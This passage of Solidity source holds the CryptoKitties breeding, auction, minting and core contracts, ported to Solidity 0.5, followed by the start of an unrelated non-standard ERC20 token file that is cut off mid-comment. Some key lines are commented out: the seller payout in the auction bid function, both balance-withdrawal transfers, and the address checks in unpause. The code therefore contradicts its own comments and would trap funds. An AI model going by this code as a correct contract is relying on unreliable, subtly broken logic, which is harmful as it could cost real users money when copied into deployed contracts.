Kitty is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(Kitty memory _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _kittyId reference the id of the kitten, any user can inquire about it function isReadyToBreed(uint256 _kittyId) public view returns (bool) { require(_kittyId > 0); Kitty storage kit = kitties[_kittyId]; return _isReadyToBreed(kit); } /// @dev Checks whether a kitty is currently pregnant. /// @param _kittyId reference the id of the kitten, any user can inquire about it function isPregnant(uint256 _kittyId) public view returns (bool) { require(_kittyId > 0); // A kitty is pregnant if and only if this field is set return kitties[_kittyId].siringWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Kitty struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the Kitty struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( Kitty storage _matron, uint256 _matronId, Kitty storage _sire, uint256 _sireId ) private view returns(bool) { // A Kitty can't breed with itself! if (_matronId == _sireId) { return false; } // Kitties can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either cat is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // Kitties can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Kitty storage matron = kitties[_matronId]; Kitty storage sire = kitties[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } /// @notice Checks to see if two cats can breed together, including checks for /// ownership and siring approvals. Does NOT check that both cats are ready for /// breeding (i.e. breedWith could still fail until the cooldowns are finished). /// TODO: Shouldn't this check pregnancy and cooldowns?!? /// @param _matronId The ID of the proposed matron. /// @param _sireId The ID of the proposed sire. function canBreedWith(uint256 _matronId, uint256 _sireId) external view returns(bool) { require(_matronId > 0); require(_sireId > 0); Kitty storage matron = kitties[_matronId]; Kitty storage sire = kitties[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isSiringPermitted(_sireId, _matronId); } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _breedWith(uint256 _matronId, uint256 _sireId) internal { // Grab a reference to the Kitties from storage. Kitty storage sire = kitties[_sireId]; Kitty storage matron = kitties[_matronId]; // Mark the matron as pregnant, keeping track of who the sire is. matron.siringWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); // Clear siring permission for both parents. This may not be strictly necessary // but it's likely to avoid confusion! delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; // Every time a kitty gets pregnant, counter is incremented. pregnantKitties++; // Emit the pregnancy event. emit Pregnant(kittyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock); } /// @notice Breed a Kitty you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your cat pregnant, or will /// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the Kitty acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the Kitty acting as sire (will begin its siring cooldown if successful) function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { // Checks for payment. require(msg.value >= autoBirthFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); // Neither sire nor matron are allowed to be on auction during a normal // breeding operation, but we don't need to check that explicitly. // For matron: The caller of this function can't be the owner of the matron // because the owner of a Kitty on auction is the auction house, and the // auction house will never call breedWith(). // For sire: Similarly, a sire on auction will be owned by the auction house // and the act of transferring ownership will have cleared any oustanding // siring approval. // Thus we don't need to spend gas explicitly checking to see if either cat // is on auction. // Check that matron and sire are both owned by caller, or that the sire // has given siring permission to caller (i.e. matron's owner). // Will fail for _sireId = 0 require(_isSiringPermitted(_sireId, _matronId)); // Grab a reference to the potential matron Kitty storage matron = kitties[_matronId]; // Make sure matron isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(matron)); // Grab a reference to the potential sire Kitty storage sire = kitties[_sireId]; // Make sure sire isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(sire)); // Test that these cats are a valid mating pair. require(_isValidMatingPair( matron, _matronId, sire, _sireId )); // All checks passed, kitty gets pregnant! _breedWith(_matronId, _sireId); } /// @notice Have a pregnant Kitty give birth! /// @param _matronId A Kitty ready to give birth. /// @return The Kitty ID of the new kitten. /// @dev Looks at a given Kitty and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new kitten. The new Kitty is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new kitten will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new kitten always goes to the mother's owner. function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { // Grab a reference to the matron in storage. Kitty storage matron = kitties[_matronId]; // Check that the matron is a valid cat. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.siringWithId; Kitty storage sire = kitties[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // Make the new kitten! address owner = kittyIndexToOwner[_matronId]; uint256 kittenId = _createKitty(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.siringWithId; // Every time a kitty gives birth counter is decremented. pregnantKitties--; // Send the balance fee to the person who made birth happen. msg.sender.transfer(autoBirthFee); // return the new kitten's ID return kittenId; } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, address(this), _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction memory _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) //seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. constructor(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); // We are using this boolean method to make sure that even if one fails it will still work //bool res = nftAddress.transfer(address(this).balance); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint256 _tokenId) external payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; // Delegate constructor constructor(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be KittyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the KittyCore contract because all bid methods /// should be wrapped. Also returns the kitty to the /// seller rather than the winner. function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bid(_tokenId, msg.value); // We transfer the kitty back to the seller, the winner will get // the offspring _transfer(seller, _tokenId); } } /// @title Clock auction modified for sale of kitties /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; // Tracks last 5 sale price of gen0 kitty sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor constructor(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId) external payable { // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } /// @title Handles creating auctions for sale and siring of kitties. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract KittyAuction is KittyBreeding { // @notice The auction contract variables are defined in KittyBase to allow // us to refer to them in KittyOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of kitties. // `siringAuction` refers to the auction for siring rights of kitties. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Put a kitty up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _kittyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If kitty is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _kittyId)); // Ensure the kitty is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the kitty IS allowed to be in a cooldown. require(!isPregnant(_kittyId)); _approve(_kittyId, address(saleAuction)); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the kitty. saleAuction.createAuction( _kittyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Put a kitty up for auction to be sire. /// Performs checks to ensure the kitty can be sired, then /// delegates to reverse auction. function createSiringAuction( uint256 _kittyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If kitty is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _kittyId)); require(isReadyToBreed(_kittyId)); _approve(_kittyId, address(siringAuction)); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the kitty. siringAuction.createAuction( _kittyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); // Siring auction will throw if the bid fails. siringAuction.bid.value(msg.value - autoBirthFee)(_sireId); _breedWith(uint32(_matronId), uint32(_sireId)); } /// @dev Transfers the balance of the sale auction contract /// to the KittyCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); } } /// @title all functions related to creating kittens contract KittyMinting is KittyAuction { // Limits the number of cats the contract owner can ever create. uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; // Constants for gen0 auctions. uint256 public constant GEN0_STARTING_PRICE = 10 finney; uint256 public constant GEN0_AUCTION_DURATION = 1 days; // Counts the number of cats the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo kittens, up to a limit. Only callable by COO /// @param _genes the encoded genes of the kitten to be created, any value is accepted /// @param _owner the future owner of the created kittens. Default to contract COO function createPromoKitty(uint256 _genes, address _owner) external onlyCOO { address kittyOwner = _owner; if (kittyOwner == address(0)) { kittyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createKitty(0, 0, 0, _genes, kittyOwner); } /// @dev Creates a new gen0 kitty with the given genes and /// creates an auction for it. function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 kittyId = _createKitty(0, 0, 0, _genes, address(this)); _approve(kittyId, address(saleAuction)); saleAuction.createAuction( kittyId, _computeNextGen0Price(), 0, GEN0_AUCTION_DURATION, address(this) ); gen0CreatedCount++; } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 5 prices + 50%. function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); // Sanity check to ensure we don't overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } /// @title CryptoKitties: Collectible, breedable, and oh-so-adorable cats on the Ethereum blockchain. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev The main CryptoKitties contract, keeps track of kittens so they don't wander around and get lost. contract KittyCore is KittyMinting { // This is the main CryptoKitties contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // kitty ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don't worry, I'm sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - KittyBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - KittyAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - KittyOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - KittyBreeding: This file contains the methods necessary to breed cats together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - KittyAuctions: Here we have the public methods for auctioning or bidding on cats or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - KittyMinting: This final facet contains the functionality we use for creating new gen0 cats. // We can make up to 5000 "promo" cats that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 50k gen0 cats. After that, it's all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main CryptoKitties smart contract instance. constructor() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; // start with the mythical kitten 0 - so we don't have generation-0 parent issues _createKitty(0, 0, 0, uint256(-1), address(0)); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) ); } /// @notice Returns all the relevant information about a specific kitty. /// @param _id The ID of the kitty of interest. function getKitty(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { Kitty storage kit = kitties[_id]; // if this variable is 0 then it's not gestating isGestating = (kit.siringWithId != 0); isReady = (kit.cooldownEndBlock <= block.number); cooldownIndex = uint256(kit.cooldownIndex); nextActionAt = uint256(kit.cooldownEndBlock); siringWithId = uint256(kit.siringWithId); birthTime = uint256(kit.birthTime); matronId = uint256(kit.matronId); sireId = uint256(kit.sireId); generation = uint256(kit.generation); genes = kit.genes; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { // require(saleAuction != address(0)); // require(siringAuction != address(0)); // require(geneScience != address(0)); // require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } // @dev Allows the CFO to capture the balance available to the contract. function withdrawBalance() external onlyCFO { uint256 balance = address(this).balance; // Subtract all the currently pregnant kittens we have, plus 1 of margin. uint256 subtractFees = (pregnantKitties + 1) * autoBirthFee; // if (balance > subtractFees) { // cfoAddress.send(balance - subtractFees); // } } }/** * Submitted for verification at Etherscan.io on 2017-07-05 * @note: represents a non-standard ERC20 token that contains a * transferFrom function that does not return bool */ pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public ; event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev 